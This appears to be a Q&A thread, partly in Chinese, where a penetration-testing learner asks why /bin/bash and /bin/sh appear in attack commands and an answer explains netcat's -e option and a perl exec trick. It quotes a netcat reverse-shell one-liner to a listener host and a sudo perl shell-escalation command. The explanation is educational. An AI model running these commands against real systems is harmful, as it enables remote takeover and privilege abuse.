0

During my Pentester learning, I have noticed a lot about using /bin/ in some situations and in certain commands, such as in a reverse shell:

nc -nv 192.168.0.6 1234 -e /bin/bash

and for example, when it comes to climbing privileges on a machine:

sudo /usr/bin/perl -e 'exec "/bin/sh"'

I tried to search the internet and watch several videos, but they never explain how this folder works in these situations, WHY I need to run /bin/bash at reverse shell time, or why /bin/perl and /bin/sh was used ?

4

1 回答 1

0

渗透测试就是使用可用的工具来实现目标。

在您的第一个示例中,您正在打开一个反向外壳。我们用 netcat 监听传入的连接,但我们想做的不仅仅是监听——我们希望传入的 shell 是交互式的。为此,我们使用该-e选项将传入连接通过管道传输到本地 bash 提示符。在这种情况下,您可以轻松地使用 sh 或 zsh 或任何您拥有的东西。应该注意的-e是,大多数 netcat 安装中不存在该选项,因此这只是反向 shell 的一个示例,您应该准备好很多 - 有些可以工作,有些不能。

在您的第二个示例中,我们正在使用 perl 提升权限,我们发现我们可以在没有提升权限的情况下在远程机器上访问二进制文件。我们最终希望以比我们已经拥有的更高权限与远程主机进行交互,并且在许多情况下,像 perl 这样的东西可能会为我们做到这一点(也有很多随意的原因!)。我们可以利用这一事实,结合 perl 允许我们运行任意代码的事实,来运行一段 perl 代码:

exec "/bin/sh"

perl 中的 exec 命令将运行一个可执行文件,在我们的例子中是/bin/shshell。这个 shell 将以 perl 的权限级别运行,因此我们有效地以比以前更高的权限打开了一个 shell。

Perl 的-e选项是调用脚本或 perl 行来运行,这两个命令都具有-e. 它们的意思是不同的东西。

要点:您需要输入命令来执行各种操作的原因有很多。有大量的反向 shell,无数种提升权限的方法,以及一百万种不同的枚举技术。当您获得要运行的命令时,请花一点时间查看该命令的文档,以了解每个标志的作用、使用这些参数的原因以及其工作方式。作为渗透测试者做笔记会比任何其他技术更快地推动你前进,因为渗透测试是一个数字游戏——你想尝试尽可能多的事情来看看什么是有效的。

于 2020-01-18T20:46:06.767 回答